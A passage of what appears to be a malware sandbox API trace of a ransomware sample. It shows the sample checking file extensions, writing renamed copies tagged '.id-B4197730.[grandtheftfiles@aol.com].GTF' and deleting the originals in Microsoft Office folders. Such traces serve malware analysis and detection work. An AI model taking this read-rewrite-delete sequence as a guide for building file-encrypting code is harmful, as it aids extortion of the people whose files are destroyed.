	[0164.695] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.695] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.695] SetEndOfFile (hFile=0x52c) returned 1
	[0164.695] CloseHandle (hObject=0x52c) returned 1
	[0164.695] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.695] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.698] CloseHandle (hObject=0x4b4) returned 1
	[0164.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1
	[0164.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.809] lstrlenW (lpString=".doc") returned 4
	[0164.809] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.809] lstrlenW (lpString=".docx") returned 5
	[0164.809] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0164.809] lstrlenW (lpString=".pdf") returned 4
	[0164.809] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.809] lstrlenW (lpString=".xls") returned 4
	[0164.810] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.810] lstrlenW (lpString=".xlsx") returned 5
	[0164.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0164.810] lstrlenW (lpString=".ppt") returned 4
	[0164.810] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString=".zip") returned 4
	[0164.810] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.810] lstrlenW (lpString=".rar") returned 4
	[0164.810] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.810] lstrlenW (lpString=".bz2") returned 4
	[0164.810] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.810] lstrlenW (lpString=".7z") returned 3
	[0164.810] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString=".dbf") returned 4
	[0164.810] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString=".1cd") returned 4
	[0164.810] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString=".jpg") returned 4
	[0164.810] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.810] lstrlenW (lpString=".doc") returned 4
	[0164.810] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.810] lstrlenW (lpString=".docx") returned 5
	[0164.810] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0164.810] lstrlenW (lpString=".pdf") returned 4
	[0164.810] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.810] lstrlenW (lpString=".xls") returned 4
	[0164.811] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.811] lstrlenW (lpString=".xlsx") returned 5
	[0164.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0164.811] lstrlenW (lpString=".ppt") returned 4
	[0164.811] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.811] lstrlenW (lpString=".zip") returned 4
	[0164.811] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.811] lstrlenW (lpString=".rar") returned 4
	[0164.811] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.811] lstrlenW (lpString=".bz2") returned 4
	[0164.811] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.811] lstrlenW (lpString=".7z") returned 3
	[0164.811] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.811] lstrlenW (lpString=".dbf") returned 4
	[0164.811] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.811] lstrlenW (lpString=".1cd") returned 4
	[0164.811] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0164.811] lstrlenW (lpString=".jpg") returned 4
	[0164.811] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.811] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.811] lstrlenW (lpString="SPACE_01.MID") returned 12
	[0164.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0164.813] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4219) returned 1
	[0164.813] CloseHandle (hObject=0x42c) returned 1
	[0164.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220
	[0164.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0164.814] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.814] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.815] GetLastError () returned 0x0
	[0164.816] ReadFile (in: hFile=0x42c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x107b, lpOverlapped=0x0) returned 1
	[0164.817] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1080, lpOverlapped=0x0) returned 1
	[0164.818] ReadFile (in: hFile=0x42c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.818] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.818] SetEndOfFile (hFile=0x48c) returned 1
	[0164.818] CloseHandle (hObject=0x48c) returned 1
	[0164.818] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.818] SetEndOfFile (hFile=0x42c) returned 1
	[0164.821] CloseHandle (hObject=0x42c) returned 1
	[0164.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1
	[0164.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.822] lstrlenW (lpString=".doc") returned 4
	[0164.822] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.822] lstrlenW (lpString=".docx") returned 5
	[0164.822] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.822] lstrlenW (lpString=".pdf") returned 4
	[0164.822] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.822] lstrlenW (lpString=".xls") returned 4
	[0164.822] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.822] lstrlenW (lpString=".xlsx") returned 5
	[0164.822] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.822] lstrlenW (lpString=".ppt") returned 4
	[0164.822] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.822] lstrlenW (lpString=".zip") returned 4
	[0164.822] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.822] lstrlenW (lpString=".rar") returned 4
	[0164.822] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.822] lstrlenW (lpString=".bz2") returned 4
	[0164.822] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.822] lstrlenW (lpString=".7z") returned 3
	[0164.822] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.822] lstrlenW (lpString=".dbf") returned 4
	[0164.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString=".1cd") returned 4
	[0164.823] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString=".jpg") returned 4
	[0164.823] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString=".doc") returned 4
	[0164.823] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString=".docx") returned 5
	[0164.823] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.823] lstrlenW (lpString=".pdf") returned 4
	[0164.823] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.823] lstrlenW (lpString=".xls") returned 4
	[0164.823] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.823] lstrlenW (lpString=".xlsx") returned 5
	[0164.823] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.823] lstrlenW (lpString=".ppt") returned 4
	[0164.823] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString=".zip") returned 4
	[0164.823] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.823] lstrlenW (lpString=".rar") returned 4
	[0164.823] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.823] lstrlenW (lpString=".bz2") returned 4
	[0164.823] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString=".7z") returned 3
	[0164.823] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.823] lstrlenW (lpString=".dbf") returned 4
	[0164.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.824] lstrlenW (lpString=".1cd") returned 4
	[0164.824] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0164.824] lstrlenW (lpString=".jpg") returned 4
	[0164.824] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.824] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.824] lstrlenW (lpString="SPRNG_01.MID") returned 12
	[0164.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.857] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6700) returned 1
	[0164.857] CloseHandle (hObject=0x554) returned 1
	[0164.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220
	[0164.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.173] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.173] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.176] GetLastError () returned 0x0
	[0165.176] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1a2c, lpOverlapped=0x0) returned 1
	[0165.177] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1a30, lpOverlapped=0x0) returned 1
	[0165.178] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.178] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.178] SetEndOfFile (hFile=0x504) returned 1
	[0165.179] CloseHandle (hObject=0x504) returned 1
	[0165.179] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.179] SetEndOfFile (hFile=0x54c) returned 1
	[0165.181] CloseHandle (hObject=0x54c) returned 1
	[0165.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1
	[0165.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.182] lstrlenW (lpString=".doc") returned 4
	[0165.182] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.182] lstrlenW (lpString=".docx") returned 5
	[0165.182] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.182] lstrlenW (lpString=".pdf") returned 4
	[0165.182] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.182] lstrlenW (lpString=".xls") returned 4
	[0165.182] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.182] lstrlenW (lpString=".xlsx") returned 5
	[0165.182] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.182] lstrlenW (lpString=".ppt") returned 4
	[0165.182] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString=".zip") returned 4
	[0165.183] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.183] lstrlenW (lpString=".rar") returned 4
	[0165.183] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.183] lstrlenW (lpString=".bz2") returned 4
	[0165.183] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.183] lstrlenW (lpString=".7z") returned 3
	[0165.183] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString=".dbf") returned 4
	[0165.183] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString=".1cd") returned 4
	[0165.183] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString=".jpg") returned 4
	[0165.183] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.183] lstrlenW (lpString=".doc") returned 4
	[0165.183] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.183] lstrlenW (lpString=".docx") returned 5
	[0165.183] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.183] lstrlenW (lpString=".pdf") returned 4
	[0165.183] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.183] lstrlenW (lpString=".xls") returned 4
	[0165.183] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.183] lstrlenW (lpString=".xlsx") returned 5
	[0165.183] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.183] lstrlenW (lpString=".ppt") returned 4
	[0165.183] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.184] lstrlenW (lpString=".zip") returned 4
	[0165.184] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.184] lstrlenW (lpString=".rar") returned 4
	[0165.184] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.184] lstrlenW (lpString=".bz2") returned 4
	[0165.184] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.184] lstrlenW (lpString=".7z") returned 3
	[0165.184] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.184] lstrlenW (lpString=".dbf") returned 4
	[0165.184] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.184] lstrlenW (lpString=".1cd") returned 4
	[0165.184] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0165.184] lstrlenW (lpString=".jpg") returned 4
	[0165.184] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.184] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.184] lstrlenW (lpString="Banded Edge.eftx") returned 16
	[0165.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.188] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=47851) returned 1
	[0165.188] CloseHandle (hObject=0x54c) returned 1
	[0165.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220
	[0165.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.188] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.189] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.192] GetLastError () returned 0x0
	[0165.192] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xbaeb, lpOverlapped=0x0) returned 1
